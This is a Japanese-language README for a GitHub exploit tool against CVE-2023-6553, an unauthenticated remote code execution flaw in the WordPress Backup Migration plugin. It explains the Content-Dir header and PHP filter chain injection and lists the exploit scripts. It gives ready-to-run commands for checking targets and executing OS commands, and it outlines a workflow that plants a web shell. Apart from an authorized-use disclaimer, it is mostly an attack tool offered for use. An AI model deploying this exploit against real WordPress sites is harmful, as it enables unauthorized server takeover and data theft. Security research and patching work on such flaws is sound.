
WordPress用Backup Migrationプラグインは、1.3.7までの全バージョンにおいて、/includes/backup-heart.phpファイルを介したリモートコード実行に対して脆弱です。
| プロパティ | 詳細 |
|---|
| CVE ID | CVE-2023-6553 |
| CVSS スコア | 9.8 / 10 — 重大 |
| CVSS ベクトル | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — コード生成の不適切な制御 |
| 影響を受けるプラグイン | Backup Migration (スラッグ: backup-backup) |
| 影響を受けるバージョン | ≤ 1.3.7 |
| 認証 | 不要 (未認証) |
| 発見者 | Wordfence |
WordPress 用プラグイン Backup Migration は、1.3.7 までの全バージョンにおいて、/includes/backup-heart.php ファイルを介した リモートコード実行(RCE) に対して脆弱です。
この脆弱性は、攻撃者が Content-Dir HTTP ヘッダーを介して PHP の include 文に渡す値を制御できることに起因します。PHP フィルターチェーンを活用することで、攻撃者は認証なしで任意の PHP コードを注入し、サーバー上で完全なリモートコード実行を達成できます。
┌──────────┐ Content-Dir ヘッダー ┌──────────────────────┐ include() ┌──────────┐
│ 攻撃者 │ ──── PHP フィルターチェーン ──▶│ backup-heart.php │ ──────────────▶ │ RCE │
│ │ (認証不要) │ (脆弱なファイル) │ │ ホスト上 │
└──────────┘ └──────────────────────┘ └──────────┘
readme.txt を介してインストール済みプラグインバージョンを検出Content-Dir ヘッダーに含めて脆弱なエンドポイントに送信.
├── exploit.py # 🎯 クリーンでプロフェッショナルなエクスプロイト(詳細モード対応)
├── fancy_exploit.py # ✨ ファンシーバージョン — 同一エクスプロイト、より見栄え良く
├── php_filter_chain.py # 🔗 PHP フィルターチェーン生成モジュール
└── README.md # 📖 ここが該当ファイル
exploit.py — プロフェッショナルエクスプロイト主となるクリーンなエクスプロイトスクリプト。セキュリティ評価やケーススタディでのプロフェッショナルな使用向けに設計。特徴:
-v) で運用詳細を出力-C)fancy_exploit.py — ファンシーバージョン ✨同一エクスプロイトに個性を加えたバージョン。機能的には exploit.py と同一ですが、よりカラフルなプレゼンテーションを実現:
注: 両スクリプトの攻撃ロジックは同一です。
fancy_exploit.pyは単に出力層を視覚的に表現豊かにラップしたものです。
pip パッケージマネージャー# リポジトリをクローン
git clone https://github.com/<your-username>/CVE-2023-6553.git
cd CVE-2023-6553
# 依存関係をインストール
pip install -r requirements.txt
注:
php_filter_chain.pyはリポジトリに含まれるローカルモジュールであり、追加インストールは不要です。
exploit.py
# ターゲットが脆弱か確認(偵察のみ)
python3 exploit.py -u http://target.com -C
# エクスプロイトしてコマンドを実行
python3 exploit.py -u http://target.com -c id
# まず脆弱性を確認し、その後エクスプロイト
python3 exploit.py -u http://target.com -C -c whoami
# 詳細モードで詳細出力
python3 exploit.py -u http://target.com -c id -v
fancy_exploit.py
# ターゲットが脆弱か確認
python3 fancy_exploit.py -u http://target.com -C
# エクスプロイトしてコマンドを実行
python3 fancy_exploit.py -u http://target.com -c id
# まず確認し、脆弱であればエクスプロイト
python3 fancy_exploit.py -u http://target.com -C -c whoami
| フラグ | 説明 |
|---|---|
-u, --url | (必須) ターゲット WordPress URL |
-c, --command | 攻撃後に実行する OS コマンド |
-C, --check | エクスプロイトせずに脆弱性ステータスのみ確認 |
-v, --verbose | 詳細出力を有効にする (exploit.py のみ) |
| フェーズ | 名称 | 説明 |
|---|---|---|
| 1 | 🔍 偵察 | readme.txt を取得してインストール済みプラグインバージョンを検出 |
| 2 | 🧪 ペイロード生成 | ウェブシェルドロッパーにデコードされる PHP フィルターチェーンを構築 |
| 3 | 💣 エクスプロイト配信 | ペイロードを Content-Dir ヘッダー経由で backup-heart.php に送信 |
| 4 | 🚀 コマンド実行 | 指定された OS コマンドでデプロイ済みウェブシェルを起動 |
Content-Dir ヘッダーをブロックこのツールは、許可されたセキュリティテストおよび教育目的のみで提供されます。
コンピュータシステムへの不正アクセスは、米国コンピュータ詐欺及び悪用防止法(CFAA)、コンピュータ不正使用法、および世界各国の類似法規に違反します。著者は本ソフトウェアの誤用に対する 一切の責任を負いません。
このツールは、所有している、またはテストの明示的な書面による許可を得ているシステムに対してのみ使用してください。
著者: Phantom Hat
許可された侵入テストおよびセキュリティ研究専用です。